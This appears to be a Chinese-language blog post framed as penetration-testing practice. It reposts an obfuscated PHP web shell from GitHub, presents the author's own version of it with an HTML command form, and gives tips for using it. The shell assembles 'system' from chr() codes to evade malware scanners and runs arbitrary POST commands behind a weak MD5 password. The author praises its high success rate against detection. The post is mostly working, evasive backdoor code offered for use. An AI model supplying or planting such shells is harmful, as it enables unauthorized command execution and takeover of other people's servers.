服务器渗透测试练习(插曲3:执行任意代码+混淆)
#0:由来
我在GitHub上偶然发现了这个文件,在实际使用一些带有恶意代码检测的网站进行测试之后我发现这玩意的成功率极高,可以用做一个获取服务器信息和其他东西的工具。
#1:解析
先把原文贴出来,这是GitHub上的原文
<?php $pass = "9cdfb439c7876e703e307864c9167a15"; //lol $A = chr(0x73); $B = chr(0x79); $X = chr(0x74); $D = chr(0x65); $E = chr(0x6d); $hook = $A.$B.$A.$X.$D.$E; if($pass == md5($_POST['password'])) { $hook($_POST['cmd']); } else { die(); } ?>
我进行改进之后,增加了一个方便操作的界面
<!doctype html> <html> <head> <meta charset="utf-8"> <title></title> </head> <body> <?php $pass = "5f4dcc3b5aa765d61d8327deb882cf99";//password $A = chr(0x73);//s $B = chr(0x79);//y $X = chr(0x74);//t $D = chr(0x65);//e $E = chr(0x6d);//m $hook = $A.$B.$A.$X.$D.$E;//system if($pass == md5($_POST['pass'])){ $hook($_POST['cmd']); } else{ die(); } ?> <form name="frm" method="post" action=""> <br> <input type="password" name="pass"> <br> <input type="text" name="cmd"> <br> <input type="submit" name="sub"> </form> </body> </html>
就是每次都要输入密码,有点麻烦,但是又不能让别的人对这个页面进行操作,所以还是保留了密码。
可以通过网站对ipconfig和ifconfig的不同响应来判断底层操作系统,通过chdir来获取当前目录,用dir来查看当前目录下的文件,然后执行操作。唯一的不足就是服务端软件的权限可能很低(如IIS8默认为一个单独运行的低权限账号,对大多数文件都没有读写功能),没办法,这个就要看服务器架设者的安全意思又多高了。